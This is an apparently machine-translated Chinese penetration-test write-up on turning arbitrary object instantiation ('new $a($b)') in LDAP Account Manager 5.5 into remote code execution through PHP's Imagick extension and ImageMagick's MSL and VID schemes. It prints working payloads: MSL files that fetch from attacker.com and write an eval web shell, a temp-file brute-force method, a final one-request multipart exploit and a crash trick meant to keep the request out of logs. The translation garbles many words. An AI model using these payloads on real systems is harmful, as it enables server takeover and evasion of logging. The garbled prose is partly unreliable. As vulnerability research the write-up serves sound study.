在内部渗透测试期间,我在 PHP 运用程序 LAM(LDAP 帐户管理器)中创造了一个未经身份验证的任意工具实例化漏洞。

PHP 的任意工具实例化是一个毛病,攻击者可以在个中创建任意工具。
这个毛病可以有各种形状和大小。
就我而言,易受攻击的代码可以缩短为一个大略的构造:

new $_GET['a']($_GET['b']);

便是这样。
那里没有其他东西,而且我没有自定义类来为我供应代码实行或文件上传。
在本文中,我将阐明如何通过此布局得到远程代码实行。

php53imagick在没有自界说类的情形下应用 PHP 中的随意率性对象实例化 React

创造 LDAP 帐户管理器

在我们的内部渗透测试开始时,我扫描了网络的636 / tcp端口(ssl/ldap),并创造了一个LDAP做事:

$ nmap 10.0.0.1 -p80,443,389,636 -sC -sV -Pn -nNmap scan report for 10.0.0.1Host is up (0.005s latency).PORT STATE SERVICE VERSION369/tcp closed ldap443/tcp open ssl/http Apache/2.4.25 (Debian)636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X| ssl-cert: Subject: commonName=.company.com| Subject Alternative Name: DNS:.company.com, DNS:company.com| Not valid before: 2022-01-01T00:00:00|_Not valid after: 2024-01-01T23:59:59|_ssl-date: TLS randomness does not represent time

我考试测验通过匿名会话访问此 LDAP 做事,但失落败了:

$ ldapsearch -H ldaps://10.0.0.1:636/ -x -s base -b '' "(objectClass=)" "" +ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)

但是,在我将“10.0.0.1 company.com”行放入我的 /etc/hosts 文件后,我能够连接到此 LDAP 并提取所有公开可用的数据。
这意味着做事器进行了TLS SNI检讨,我可以利用做事器证书中的主机名绕过它。

域“company.com”不是做事器的精确域名,但它有效。

$ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=)" "" +configContext: cn=confignamingContexts: dc=linux,dc=company,dc=com…$ ldapsearch -H ldaps://company.com:636/ -x -s sub -b 'dc=linux,dc=company,dc=com' "(objectClass=)" "" +…objectClass: personobjectClass: ldapPublicKeysshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAuZwGKsvsKlXhscOsIMUrwtFvoEgl…

提取信息后,我创造LDAP中险些每个用户记录都有sshPublicKey属性,个中包含用户的SSH公钥。
因此,访问此做事器意味着可以访问该客户的全体 Linux 根本构造。

由于我不知道OpenLDAP中有任何漏洞,我决定在端口443 / tcp上对任何文件和目录暴力破解Apache做事器。
只有一个目录:

[12:00:00] 301 - 344B -> /lam => https://10.0.0.1/lam/

这便是我找到LAM系统的办法。

LDAP 客户经理

LDAP 帐户管理器 (LAM) 是一个 PHP Web 运用程序,用于通过用户友好的 Web 前端管理 LDAP 目录。
它是FreeIPA的替代品之一。

我碰着了 LAM 5.5 系统:

找到的 /lam/ 页面重定向到此处

LAM 的默认配置许可任何 LDAP 用户登录,但可以很随意马虎地将其变动为仅接管来自指定管理组的用户。
还可以逼迫实行其他双成分身份验证,例如Yubico或TOTP。

LAM的源代码可以从其官方GitHub页面下载。
LAM 5.5 于 2016 年 9 月发布。
与较新版本相比,LAM 5.5 的代码库相称差,这给了我一些寻衅。

与许多 Web 运用程序比较,LAM 不打算手动安装到 Web 做事器。
LAM 包含在 Debian 仓库中,常日从那里或从 deb/rpm 软件包安装。
在这样的设置中,做事器上不应有配置缺点,也没有其他软件。

剖析 LDAP 帐户管理器

LAM 5.5 有一些脚本可供未经身份验证的用户利用。

我创造了一个LDAP注入,这是无用的,由于数据被注入到匿名LDAP会话中,还有一个任意工具实例化。

/lam/templates/help.php:

if (isset($_GET['module']) && !($_GET['module'] == 'main') && !($_GET['module'] == '')) { include_once(__DIR__ . "/../lib/modules.inc"); if (isset($_GET['scope'])) { $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber'],$_GET['scope']); } else { $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber']); }…

/lib/modules.inc:

function getHelp($module,$helpID,$scope='') { … $moduleObject = moduleCache::getModule($module, $scope); …

/lam/lib/account.inc:

public static function getModule($name, $scope) { … self::$cache[$name . ':' . $scope] = new $name($scope); …

在这里,到达的值和到达的值。
在此之后,实行布局。
$_GET['module']$name$_GET['scope']$scopenew $name($scope)

因此,我是否会访问该客户的全体 Linux 根本架构取决于我是否能够利用此构造进行远程代码实行。

通过自定义类或自动加载利用“新$a($b)”

在布局中,变量代表将为其创建工具的类名,变量代表将通报给工具布局函数的第一个参数。
new $a($b)$a$b

如果来自 GET/POST,它们可以是字符串或字符串数组。
如果它们来自 JSON 或其他地方,则可能具有其他类型,例如工具或布尔值。
$a$b

让我们考虑以下示例:

class App { function __construct ($cmd) { system($cmd); }}# Additionally, in PHP < 8.0 a constructor might be defined using the name of the classclass App2 { function App2 ($cmd) { system($cmd); }}# Vulnerable code$a = $_GET['a'];$b = $_GET['b'];new $a($b);

在此代码中,您可以设置toorandto。
在此之后,命令将被实行。
$aAppApp2$buname -auname -a

如果您的运用程序中没有此类可利用的类,或者您在易受攻击的代码未包含的单独文件中具有所需的类,则可以查看自动加载函数。

自动加载函数是通过注册回调或通过定义来设置的。
当考试测验创建未知类的实例时,将调用它们。
spl_autoload_register__autoload

# An example of an autoloading functionspl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php';});# An example of an autoloading function, works only in PHP < 8.0function __autoload($class_name) { include $class_name . '.php';};# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_pathspl_autoload_register();

根据 PHP 版本和自动加载函数中的代码,可能存在一些通过自动加载获取远程代码实行的方法。

在 LAM 5.5 中,我找不到任何有用的自定义类,也没有自动加载功能。

通过内置类利用“新$a($b)”

当您没有自定义类和自动加载时,您只能依赖内置的 PHP 类。

有 100 到 200 个内置的 PHP 类。
它们的数量取决于 PHP 版本和安装的扩展。
所有内置类都可以通过函数与自定义类一起列出:get_declared_classes

var_dump(get_declared_classes());

可以通过反射 API 找到具有有用布局函数的类。

利用通货再膨胀 API 显示布局函数及其参数:https://3v4l.org/2JEGF

如果掌握多个布局函数参数,并且之后可以调用任意方法,则可以通过多种办法获取远程代码实行。
但是,如果您只能通报一个参数并且不对创建的工具进行任何调用,则险些没有任何调用。

我知道只有三种方法可以从中得到一些东西。
new $a($b)

利用 SSRF + Phar 反序列化

Theclass 实现了一个布局函数,该布局函数许可连接到任何本地或远程 URL:SplFileObject

new SplFileObject('http://attacker.com/');

这许可 SSRF。
此外,PHP < 8.0 中的 SSRF 可以通过 Phar 协议的技能转换为反序列化。

我不须要 SSRF,由于我可以访问本地网络。
而且,我在 LAM 5.5 中找不到任何 POP 链,以是我乃至没有考虑通过 Phar 利用反序列化。

利用PDO

PDO类还有另一个有趣的布局函数:

new PDO("sqlite:/tmp/test.txt")

布局函数接管DSN字符串,许可我们利用已安装的数据库扩展连接到任何本地或远程数据库。
例如,SQLite 扩展可以创建空文件。
PDO

当我在目标做事器上对此进行测试时,我创造它没有任何PDO扩展。
SQLite,MySQL,ODBC等都不是。

SoapClient/SimpleXMLElement XXE

在 PHP ≤ 5.3.22 和 ≤ 5.4.12 中,SoapClient 的布局函数随意马虎受到 XXE 的攻击。
SimpleXMLElement的布局函数也随意马虎受到XXE的攻击,但它须要libxml2<2.9。

创造利用“新$a($b)”的新方法

为了创造新的利用办法,我决定扩大攻击面。
我首先弄清楚 LAM 5.5 支持哪些 PHP 版本,以及它利用哪些 PHP 扩展。
new $a($b)

由于 LAM 是通过 deb/rpm 软件包分发的,因此它包含一个配置文件及其所有哀求和依赖项:

Package: ldap-account-managerArchitecture: allDepends: php5 (>= 5.4.26) | php (>= 21), php5-ldap | php-ldap, php5-gd | php-gd, php5-json | php-json , php5-imagick | php-imagick, apache2 | httpd, debconf (>= 0.2.26) | debconf-2.0, ${misc:Depends}Recommends: php-apcSuggests: ldap-server, php5-mcrypt, ldap-account-manager-lamdaemon, perl...

deb 包配置文件的内容(拜会 GitHub)

LAM 5.5 须要 PHP ≥ 5.4.26,以及 LDAP、GD、JSON 和 Imagick 扩展。

Imagick因远程代码实行漏洞而臭名昭著,例如ImageTragig等。
这便是我决定连续研究的地方。

伊玛奇克扩展

Imagick 扩展实现了多个类,包括类 Imagick。
它的布局函数只有一个参数,可以是字符串或字符串数组:

Imagick 文档:https://www.php.net/manual/en/imagick.construct.php

我测试了是否接管远程方案并可以通过HTTP连接到我的主机:Imagick::__construct

在 LAM 5.5 中创建任意 Imagick 实例

吸收来自 LAM 5.5 的连接

我创造目标做事器上存在 Imagick 类,实行足以逼迫做事器连接到我的主机。
但是,目前尚不清楚创建Imagick实例是否足以触发ImageMagick中的任何漏洞。
new Imagick(...)

我试图将公开可用的 POC 发送到做事器,但它们都失落败了。
在那之后,我决定让它变得大略,并在个中一个运用程序安全社区中寻求建议。

幸运的是,埃米尔·勒纳(Emil Lerner)来帮忙。
他说,如果我可以将诸如“epsi:/local/path”或“msl:/local/path”之类的值通报给ImageMagick,它将利用它们的方案部分,例如epsi或msl来确定文件格式。

探索 MSL 格式

最有趣的ImageMagick格式是MSL。

MSL 代表 Magick 脚本措辞。
它是一种内置的 ImageMagick 措辞,有助于读取图像、实行图像处理任务以及将结果写回文件系统。

我测试了是否许可方案:new Imagick(...)msl:

通过新的 Imagick(...) 包含一个 msl 文件

启动 HTTP 做事器以供应要通过 MSL 复制的文件

MSL方案适用于最新版本的PHP,Imagick和ImageMagick!

不幸的是,不支持 URL,我须要将文件上传到做事器才能进行制作。
msl:http://attacker.com/msl:

在 LAM 中,没有许可未经身份验证的上传的脚本,我认为利用 PHP_SESSION_UPLOAD_PROGRESS 的技能会有所帮助,由于我须要一个格式良好的 XML 文件 MSL。

伊玛基克的路径解析

Imagick不仅支持自己的URL方案,还支持PHP方案(如“php://”,“zlib://”等)。
我决定找出它是如何事情的。

这是我的创造。

空字节仍旧有效

Imagick 参数被空字节截断,纵然它包含 PHP 方案:

# No errors$a = new Imagick("/tmp/positive.png\x00.jpg");# No errors$a = new Imagick("http://attacker.com/test\x00test");方括号可用于检测图像魔术

ImageMagick能够从文件路径末端的方括号中读取选项,例如图像的大小或帧号:

# No errors$a = new Imagick("/tmp/positive.png[10x10]");# No errors$a = new Imagick("/tmp/positive.png[10x10]\x00.jpg");

这可用于确定是否掌握对 ImageMagick 库的输入。

“https://”转到PHP,但“https:/”去卷曲

ImageMagick支持100多种不同的方案。

ImageMagick的一半方案映射到外部程序。
可以利用以下命令查看此映射:convert -list delegate

转换列表委托的输出

通过不雅观察输出,可以创造PHP和ImageMagick都支持HTTPS方案。
convert -list delegate

此外,通报“https:/”字符串绕过 PHP 的 HTTPS 客户端并调用 curl 进程:new Imagick(...)

通过新的 Imagick 调用卷曲进程(...)

这也战胜了TLS证书检讨,由于利用了标志。
这会将做事器的输出刷新到文件,当进程处于活动状态时,可以通过暴力逼迫文件名找到该文件。
-k/tmp/.dat/proc/[pid]/fd/[fd]

我无法利用“https:/”吸收连接来自目标做事器的方案,可能是由于没有 curl。

PHP 的数组可用于列举文件

当我创造将要求数据刷新到和暴力逼迫的 curl 技能时,我测试了是否也刷新了数据。
确实如此!
/tmp/.dat/proc/[pid]/fd/[fd]new Imagick('http://...')

我测试了是否可以暂时使 MSL 内容涌如今个中一个 Apache 事情进程中,然后从另一个事情进程中访问它。
/proc/[pid]/fd/[fd]

由于许可字符串数组并在第一个缺点后停滞处理实体,因此我能够在做事器上列举 PID 并创造我可以从中读取文件描述符的 Apache 事情线程的所有 PID:new Imagick(...)

创造 Apache 事情进程的所有 PID 我可以从中读取文件描述符

从 ImageMagick 获取显示 PID 的连接,我可以从中读取文件描述符

我创造由于 Debian 中的一些强化,我只能访问我在个中实行代码的 Apache 事情进程,而无法访问其他进程。
但是,这种技能在我的 Arch Linux 受骗地事情。

RCE #1:PHP 崩溃 + 蛮力

在测试了从文件描述符包含文件的多种方法后,我创造类似的构造导致事情进程在远程 Web 做事器上崩溃:text:fd:30

事情进程将很快由父 Apache 进程重新启动

这便是最初可以上传 Web shell 的缘故原由!

我们的想法是利用多部分/表单数据要求创建多个PHP临时文件。
根据默认值,任何客户端都可以在分段要求中发送最多 20 个文件,这些文件将被保存到路径中。
如果我们导致创建这些文件的事情线程崩溃,则这些文件将永久不会被删除。
max_file_uploads/tmp/phpXXXXXXX ∈ [A-Za-z0-9]

如果我们发送 20,000 个这样的多部分要求,每个要求包含 20 个文件,则会导致创建 400,000 个临时文件。

20,000 × 20 = 400,000(26+26+10)6/ 400,000 = 142,000P(A) = 1 – (1 – 400,000/(26+26+10)6)142,000 ≈ 0.6321

因此,在 63.21% 的几率下,经由 142,000 次考试测验,我们将能够预测至少一个临时名称,并将我们的文件包含在 MSL 内容中。

发送超过 20,000 个初始要求不会加快该过程。
任何导致崩溃的要求都非常慢,须要一秒钟以上。
此外,创建超过 400,000 个文件可能会在文件系统上产生意外开销。

让我们布局这个多部分要求!

首先,我们须要创建一个带有 Web shell 的图像,由于 MSL 只许可图像处理:

convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png

其次,让我们创建一个 MSL 文件,该文件将此图像从我们的 HTTP 做事器复制到可写 Web 目录。
在LAM的配置文件中找到这样的目录并不难。

<?xml version="1.0" encoding="UTF-8"?><image><read filename="http://attacker.com/positive.png" /><write filename="/var/lib/ldap-account-manager/tmp/positive.php" /></image>

第三,让我们把它们放在Burp Suite Intruder中:

配置打嗝套件入侵者

为了使攻击顺利进行,我设置了 PHPSESSID cookie 以防止创建多个会话文件(不要与临时上传文件稠浊)并指定了做事器的直接 IP,由于事实证明我们在 10.0.0.1 上有一个平衡器将要求定向到不同的数据中央。

此外,我在 Burp 入侵者中启用了谢绝做事模式,以防止 Burp Suite 的描述符耗尽,这可能是由于做事器真个 TCP 处理禁绝确而发生的。

在发送了所有 20,000 个多部分要求后,我通过 Burp Intruder 暴力破解了文件:/tmp/phpXXXXXX

暴力破解 /tmp/phpXXXXXX 文件

那里没有什么可看的;所有做事器相应保持不变。
但是,经由 120,000 次考试测验,我们的 Web shell 上传了!

在目标做事器上实行“id”命令

在此之后,我们得到了对OpenLDAP的管理访问权限,并以最大权限掌握了该客户的所有Linux做事器!

RCE #2:VID 操持

我试图在本地重现这项技能,我创造这种构造不再使ImageMagick崩溃。
我深入到ImageMagick资源中探求新的崩溃,我创造了更好的东西。
text:fd:30

这是我的创造。

让我们来看看函数 ReadVIDImage,它用于解析 VID 方案:

ReadVIDImage 的源代码(拜会 GitHub)

此函数调用展开文件名。
Expand文件名的描述详细阐明了这个函数所做的统统。

ExpandFilenames 函数的解释(请参阅 GitHub 上)

扩展文件名的调用意味着 VID 方案接管掩码,并利用它们布局文件路径。

因此,通过利用该方案,我们可以在不知道其名称的情形下将临时文件包含在 MSL 内容中:vid:

包含不知道其名称的 MSL 文件

在这之后,我创造了相称有趣的操持。
两者的结合可以肃清带外连接,并一举创建一个 web shell:caption:info:

通过标题上传 Web 外壳:和信息:方案

获取上传/var/lib/ldap-account-manager/tmp/positive.php文件的内容

这便是我们能够在一个要求中利用此任意工具实例化的办法,而无需任何运用程序的类!

终极有效载荷

以下是利用任意工具实例化的终极有效负载:

Class Name: ImagickArgument Value: vid:msl:/tmp/php-- Request Data --Content-Type: multipart/form-data; boundary=ABCContent-Length: ...Connection: close --ABCContent-Disposition: form-data; name="swarm"; filename="swarm.msl"Content-Type: text/plain <?xml version="1.0" encoding="UTF-8"?><image> <read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" /> <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well --> <write filename="info:/var/www/swarm.php" /></image>--ABC--

它该当适用于安装了 Imagick 扩展的每个别系,如果您找到得当的小工具,它可以用于反序列化。

当 PHP 运行时是 libapache2-mod-php 时,您可以通过上传 web shell 并同时使进程崩溃来阻挡记录此要求:

Argument Value: ["vid:msl:/tmp/php", "text:fd:30"]

由于该构造不适用于最新的ImageMagick,因此这是另一个:text:fd:30

Crash Construction: str_repeat("vid:", 400)

这个适用于 7.1.0-40 以下的每个 ImageMagick(2022 年 7 月 4 日发布)。

在像Nginx + PHP-FPM这样的安装中,要求不会从Nginx的日志中消逝,但它不应该被写入PHP-FPM日志。